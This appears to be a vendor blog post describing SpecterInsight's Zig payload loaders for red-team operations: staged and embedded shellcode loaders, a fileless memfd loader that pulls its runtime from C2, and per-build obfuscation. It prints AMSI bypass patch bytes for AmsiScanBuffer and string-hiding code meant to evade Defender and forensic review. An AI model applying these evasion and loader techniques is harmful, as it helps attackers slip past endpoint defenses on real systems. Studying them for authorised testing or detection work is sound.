
SpecterInsight’s Zig payload pipelines give you full cross-platform, native payload generation from a single server. Zig 0.16.0 is bundled as the compiler. It runs identically on Windows and Linux hosts and cross-compiles to any combination of OS (Windows, Linux, macOS) and architecture (x86, x86_64, aarch64) without any additional toolchain setup. Before the compiler sees a line of source, an 8-transform obfuscation chain randomizes function layout, stack frame sizes, control flow structure, and XOR-encodes all string literals with per-build keys. The output is native binaries (PE files, ELF binaries, shared libraries, or raw shellcode) that differ at the instruction level on every generation.
Thirteen pipelines across four families cover the full delivery surface: embedded sRDI loaders with shellcode compiled in, staged loaders that fetch their payload from C2 at runtime, cross-platform loaders that use the hostfxr interface to initialize the .NET runtime, and a reflective loader that loads the entire CLR into kernel-anonymous memory with zero named filesystem writes. This post walks through each family, the obfuscation chain, the volatile pointer technique that keeps encoded strings encoded through LLVM’s most aggressive optimization passes, and the test harness that validates all of this on real Linux and Windows targets.
Four Families, One Compiler
Before going deep, here is the full picture of what the pipeline produces:

The compiler underneath all of them is ZigCompilerTransformer (src/Obfuscation/.../CSharp/OutputTransforms/ZigCompilerTransformer.cs). It wraps Zig 0.16.0’s build-exe and build-lib subcommands, selects the appropriate host binary (zig.exe on Windows, zig on Linux), sets the target triple, optimization level, and output path, then returns the compiled bytes. Cross-compilation is bidirectional: a Windows server builds ELF binaries for Linux targets, and a Linux server builds PE files for Windows.
Supported targets (ZigOS x ZigArchitecture): Windows, Linux, Freestanding (shellcode PIC), macOS, combined with x86, x86_64, and aarch64.
Supported optimization levels (ZigOptimization): Debug, ReleaseSafe, ReleaseFast, ReleaseSmall.
A few compiler flags are worth calling out because they each exist for a specific reason:
-fPIC: required for Freestanding (shellcode) targets. Position-independent code uses only relative addressing, so the shellcode can be copied to any executable memory region and run without relocation.-lc -lm: required for Linux targets. The hostfxr runtime linker expects libc and libm to be resolvable viaDT_NEEDED; without these links, the loader crashes before it can initialize.--subsystem console|windows: controls the PE header subsystem field, which determines whether the process gets a console window.--cache-dirand--global-cache-dirpointed at a temp folder: Zig’s incremental compilation cache stays in a temporary directory, never touching system paths.
The Compile-Zig PowerShell cmdlet wraps this for use in pipeline scripts:
# Cross-compile a Zig source string to Linux x64 from a Windows server
$code | Compile-Zig -OS Linux -Architecture x86_64 -Optimization ReleaseSmall
Parameters: Code (piped), OS, Architecture, Optimization, OutputType (Exe/Lib), Subsystem (Console/Windows). Output is byte[].
Embedded sRDI Loaders (Windows x64)
zig_clr_exe_x64 and zig_clr_dll_x64 embed the sRDI reflective loader shellcode directly into the binary at build time, XOR-encoded with a random per-build key.
How the embedding works: The generator produces Zig source that uses @embedFile to include the shellcode blob rather than byte literals. This matters because a 128KB shellcode blob represented as a Zig byte-literal array triggers compiler timeouts during the AST parsing phase. @embedFile is handled at the IR generation stage, bypassing that limit entirely. At runtime, the XOR decode is a tight loop over the embedded slice:
const xor_key: u8 = 0xA3; // random per build, different each time
const payload_xor = @embedFile("srdi_x64.bin.xor");
var buf: [payload_xor.len]u8 = undefined;
for (payload_xor, 0..) |b, i| buf[i] = b ^ xor_key;
// VirtualAlloc(RWX) → memcpy → call entry
EXE vs DLL: The EXE variant uses pub fn main() as the entry point. The DLL variant uses DllMain, which immediately spawns a background thread and returns; the payload runs asynchronously so the DLL load does not block the loading process. Invoke the DLL via rundll32.exe payload.dll,Run.
AMSI bypass fires before the XOR decode. The loader patches AmsiScanBuffer in amsi.dll to write a hardcoded clean result and return immediately:
// Applied at AmsiScanBuffer+0x001b:
const patch = [_]u8{
0x48, 0x8B, 0x44, 0x24, 0x30, // mov rax, [rsp+0x30] ; result param
0xC7, 0x00, 0x01, 0x00, 0x00, 0x00, // mov dword [rax], 1 ; AMSI_RESULT_CLEAN
0x31, 0xC0, // xor eax, eax ; S_OK
0xC3, // ret
};
This sets *result = AMSI_RESULT_CLEAN and returns S_OK without scanning. The loader names (amsi.dll, AmsiScanBuffer) are not plaintext in the binary (see the volatile pointer section below).
The full 8-transform obfuscation chain, applied identically to both EXE and DLL:
$source
| Shuffle-ZigFunctions
| Obfuscate-ZigComments
| Inject-ZigStackJitter
| Inject-ZigJunkCode
| Obfuscate-ZigControlFlow
| Obfuscate-ZigStrings
| Obfuscate-ZigIntegers
| Compile-Zig -OS Windows -Architecture x86_64 -Optimization ReleaseSmall
What each transform does:
Shuffle-ZigFunctions: randomizes the order of function definitions so the.textsection layout differs per buildObfuscate-ZigComments: strips all//comments before any other transform sees themInject-ZigStackJitter: inserts randomly-sizedvar junk: [N]u8 = undefinedbuffers at function entry to shift all stack offsetsInject-ZigJunkCode: injects dead code paths that never execute but produce distinct instruction sequences in the compiled outputObfuscate-ZigControlFlow: introduces opaque predicates and control flow restructuringObfuscate-ZigStrings: XOR-encodes string literals using the volatile pointer technique (covered in detail below)Obfuscate-ZigIntegers: encodes integer constants as expressions that evaluate to the original value at runtimeCompile-Zig: cross-compiles the obfuscated source to a Windows x64 PE
Combined effect: function layout, stack frame sizes, dead code sequences, and encoded constants are all randomized per generation. Two builds from the same pipeline produce binaries with different instruction sequences throughout.
Staged sRDI Loaders (Windows x64)
zig_clr_staged_exe_x64 and zig_clr_staged_dll_x64 ship with no embedded shellcode. The sRDI shellcode is fetched from the C2 server at runtime.
What the binary contains at rest: C2 hostname, port, URL path, and User-Agent string, embedded as obfuscated compile-time constants using the same volatile pointer technique as the AMSI bypass string names. Without a responding C2 server, the binary is a minimal WinHTTP client that makes one outbound connection and exits. There are no shellcode bytes, no .NET bytes, and no decryption routines for absent content.
Runtime sequence: WinHTTP connection to C2 server, optional SSL certificate validation skip (compiled in when ValidateCertificateChain=false is configured), response body received as sRDI shellcode bytes, VirtualAlloc(RWX), memcpy, call to entry.
When to use this over the embedded variant: When minimizing static content on disk matters more than requiring a live C2 connection. The embedded variant commits the shellcode bytes to the PE; the staged variant does not. The tradeoff is that a staged loader is inert without a live server, while an embedded loader executes entirely offline.
Cross-Platform Loader (hostfxr)
zig_crossplatform_dotnet_loader uses the hostfxr_initialize_for_dotnet_command_line and hostfxr_run_app APIs to initialize the .NET 9 runtime and run the managed implant. Supported targets: Windows, Linux, and macOS on x86_64 and aarch64.
Runtime discovery order:
./runtime/relative to the executable$DOTNET_ROOTenvironment variable- OS default locations:
/usr/share/dotnet/,/usr/local/share/dotnet/,%ProgramFiles%\dotnet\
Embedded payload: The managed implant (win_any pipeline output) is embedded via @embedFile with a random per-build XOR key, same mechanism as the sRDI loaders.
Linux glibc quirk, handled internally: glibc 2.34+ (Ubuntu 22.04+) sets PTHREAD_STACK_MIN to 16KB. .NET 9’s PortableThreadPool.GateThread allocates more than 16KB of stack when AVX-512 is present, causing the gate thread to fail on startup. The loader patches pthread_create at the GOT level before calling hostfxr, intercepting all thread creation and substituting 8MB stack sizes. This is transparent to the CLR and requires no changes to the runtime.
Reflective Loader (zero named filesystem writes)
zig_crossplatform_dotnet_loader_reflective uses coreclr_initialize directly instead of the hostfxr interface. The distinction is forensic.
The core mechanism: Instead of extracting runtime .so files to a temp directory, the loader creates anonymous kernel file descriptors using memfd_create. For each .so in the runtime bundle ZIP downloaded from C2, the loader calls memfd_create("", MFD_CLOEXEC), writes the bytes, then loads via dlopen("/proc/self/fd/N", RTLD_NOW). The path /proc/PID/fd/N appears in /proc/PID/maps as the mapping source, but it refers to an anonymous memory object; there is no file at that path that find, ls, or an EDR filesystem monitor would see. Nothing lands in /tmp. Nothing lands in /dev/shm. Nothing lands anywhere with a name.
GOT patching for the JIT: libcoreclr.so internally calls dlopen("libclrjit.so") using a relative sibling path, which would fall through to the real filesystem. The loader patches libcoreclr.so‘s dlopen PLT entry before CLR initialization to intercept this call and redirect it through the same memfd mechanism. The JIT loads from memory.
Full runtime sequence:
GET /loaders/{id}/bundle/{platform}from C2: .NET 9 runtime bundle ZIP- For each
.soin the ZIP:memfd_create+ write bytes +dlopen(/proc/self/fd/N) - GOT patch on
libcoreclr.so‘sdlopenPLT entry forlibclrjit.so - Build
TRUSTED_PLATFORM_ASSEMBLIESstring from/proc/self/fd/Npaths coreclr_initializewith TPA list and runtime propertiescoreclr_execute_assemblyrunsSpecterInsight.Loader.dll(bootstrap assembly)- Bootstrap registers
AssemblyResolve, downloads managed dependency bundle from C2, callsAssembly.Load(win_any implant bytes) - Implant runs, establishes C2 session
What an investigator finds: /tmp: nothing. /dev/shm: nothing. /proc/PID/maps: anonymous memfd entries with no named .so paths. On disk: the loader binary itself, containing XOR-encoded embedded implant bytes and obfuscated C2 string constants. The E2E tests assert all three absence conditions (section below).
Shellcode Pipelines
Five shellcode pipelines plus a polymorphic XOR encoder stub. All shellcode pipelines use ConvertTo-ZigShellcode, which compiles with -OS Freestanding -fPIC. Freestanding means no OS runtime assumptions: no libc, no standard library, no dynamic linker. PIC (position-independent code) means all addressing is relative to the instruction pointer. The resulting shellcode can be injected into any RWX memory region and called directly.

XOR encoder: zig_shellcode_encode_xor wraps any shellcode bytes with a decode stub. On Windows, the stub resolves VirtualProtect via PEB walk; no GetProcAddress import in the stub’s IAT, no import table at all. On Linux, the stub uses mmap and mprotect syscalls directly. A different random key is generated each time, so the stub bytes change on every build. The shellcode that follows is also re-encoded with the new key, making the combined output unique per generation.
The Volatile Pointer Trick
Obfuscate-ZigStrings XOR-encodes string literals in the Zig source before it reaches the compiler. Without a specific countermeasure, LLVM folds the XOR operations back out at compile time and produces plaintext strings in the binary anyway. This is the single most important evasion detail in the entire Zig pipeline.
The problem without the fix: Zig at ReleaseSmall targets LLVM’s -O2 with size preferences. LLVM’s constant propagation pass is aggressive. If a variable is initialized to a constant at module scope (var k: u8 = 0x3A), LLVM tracks that value as a known constant through all downstream uses. An XOR expression like 'a' ^ k where k is the known constant 0x3A evaluates to 0x5B at compile time. LLVM replaces the expression with the literal, and the plaintext character appears in the binary’s data segment as if no encoding was applied. Every string, including amsi.dll, AmsiScanBuffer, and C2 hostnames, would appear verbatim.
The fix: Module-level mutable var globals instead of const, read through a volatile pointer before any XOR arithmetic:
var _amsi_k1: u8 = 0x3A; // var (mutable), not const
fn amsiBypass() void {
// @as(*volatile u8, @ptrCast(...)).* tells LLVM this value may change
// between reads by an external mechanism it cannot observe.
// LLVM emits a real load instruction and cannot constant-fold through it.
const k1 = @as(*volatile u8, @ptrCast(&_amsi_k1)).*;
var name: [8:0]u8 = undefined;
name[0] = 0x5B ^ k1; // XOR stays as a runtime instruction in the binary
name[1] = 0x57 ^ k1;
name[2] = 0x49 ^ k1;
name[3] = 0x53 ^ k1;
name[4] = 0x14 ^ k1;
name[5] = 0x5E ^ k1;
name[6] = 0x56 ^ k1;
name[7] = 0x56 ^ k1;
// name is now "amsi.dll" at runtime, never as a literal in the binary
const hAmsi = LoadLibraryA(&name) orelse return;
// same pattern for "AmsiScanBuffer"
}
@as(*volatile u8, @ptrCast(&_amsi_k1)).* is the volatile cast. It signals to LLVM that the memory location may be modified between reads by a mechanism outside LLVM’s visibility. LLVM cannot assume the value is still 0x3A at the point of the load. It emits a real load instruction. The XOR expressions remain as XOR instructions in the compiled binary. The encoded bytes stay encoded.
This applies to every sensitive string in the Zig loaders: API names, DLL names, C2 hostnames, URL paths. The memory issue record (feedback_zig_amsi_volatile_fix.md) documents the exact failure mode that required this fix: without it, ReleaseSmall builds produced binaries where Zig-level XOR encoding was silently defeated by LLVM.
Robust Testing
Reliability is a must-have for red team operations, which is why SpecterInsight implements robust testing methodology to ensure that the payload you generate will run on the target and have a reasonable probability of evading detection.
The test pipeline for these features spans four layers, from low-level compiler validation through live runs against production-equivalent targets. Unit tests verify binary format correctness and cross-compilation. Source generation tests assert structural correctness before compilation reaches the Zig toolchain. Full integration pipeline tests confirm that the 8-transform obfuscation chain composes with the compiler without producing invalid Zig. End-to-end tests run on real machines with no mocking: real kernel, real Defender on Windows, real glibc 2.35 on Linux. They assert successful C2 callbacks and explicit filesystem absence conditions. Every technique that ships must pass the E2E layer.

Layer 1: Compiler unit tests (src/SpecterInsight.Testing/Obfuscation/Zig/ZigCompilerTests.cs)
Direct tests against ZigCompilerTransformer. Validate that the compiler produces valid binary formats for each target, that cross-compilation works from the current host OS, and that optimization levels produce measurably different outputs:
CompileZig_ReleaseSmall_ProducesSmallerBinaryThanDebug asserts the size difference is real and measurable, confirming the optimization pipeline is active and not silently bypassed by Zig’s caching layer.
Layer 2: Source generation tests (ZigCrossplatformLoaderTests.cs, ZigDotNetLoaderTests.cs)
Each loader generator is tested in isolation by calling GenerateZigSource() and asserting structural correctness before any compilation happens:
@embedFileis present in the generated source (not raw byte literals that would timeout)- Required symbols are referenced:
hostfxr_initialize_for_dotnet_command_linefor the hostfxr loader,coreclr_initializefor the reflective loader - Platform library names match the target:
libhostfxr.dylibfor macOS targets,libhostfxr.sofor Linux
The XOR key uniqueness test catches any regression to a fixed key:
string s1 = generator.GenerateZigSource(payload, config);
string s2 = generator.GenerateZigSource(payload, config);
// Each call generates a fresh random XOR key, producing different source
Assert.That(s1, Is.Not.EqualTo(s2));
Layer 3: Integration pipeline tests
Full pipeline execution against the real Zig 0.16.0 binary with 128KB synthetic payloads. Tests cover both ELF and PE outputs, both EXE and DLL forms, with the full 8-transform obfuscation chain applied. The key validation here is that obfuscation does not break compilation; Inject-ZigJunkCode and Obfuscate-ZigControlFlow in particular need to produce syntactically valid Zig that the compiler accepts without error.
Layer 4: E2E on real targets (src/SpecterInsight.Testing/Client/ZigReflectiveLoaderClientTests.cs)
Two tests against live machines with no mocking.
ZigReflectiveLoaderLinux_x86_64 builds a Linux ELF reflective loader, delivers it to a remote Linux target via SSH, executes it, and then queries the target filesystem for evidence:
// Presence check - implant must call back
Assert.That(sessions.Count, Is.EqualTo(1));
ZigReflectiveLoaderWindows_x86_64 builds a Windows PE, delivers via UNC path, executes under SYSTEM via Task Scheduler, and validates the C2 session callback.
Both tests run against production-equivalent targets. Real kernel. Real Defender on the Windows target. Real glibc 2.35 on the Linux target. The tests that pass are the techniques that ship.
What You Configure
- OS: Windows, Linux, macOS
- Architecture: x86, x86_64, aarch64
- Optimization: Debug / ReleaseSafe / ReleaseFast / ReleaseSmall
- OutputType: Exe or Lib (PE EXE vs DLL)
- Subsystem: Console or Windows (PE subsystem header)
- Staged vs embedded: Whether sRDI shellcode is compiled in or fetched from C2 at runtime
XOR key, function order, stack jitter sizes, junk code paths, and integer encodings are all randomized per build. Two invocations of the same pipeline with identical parameters produce binaries that differ at the instruction level throughout.
SpecterInsight
The Zig payload pipelines cover the gaps where a standard .NET payload won’t work: no runtime on the target, a Linux or macOS box, or an environment where file artifacts are a problem. The reflective loader’s memfd approach solves the filesystem issue at the kernel level, and the E2E tests explicitly check the absence conditions rather than trusting the implementation.
When a build gets flagged, generate another. Different function order, different stack offsets, different instruction sequences for the same logic, different XOR key across every string. The volatile pointer technique is what keeps LLVM from folding those keys out at compile time. That is worth knowing before you assume the string encoding is actually surviving into the binary.


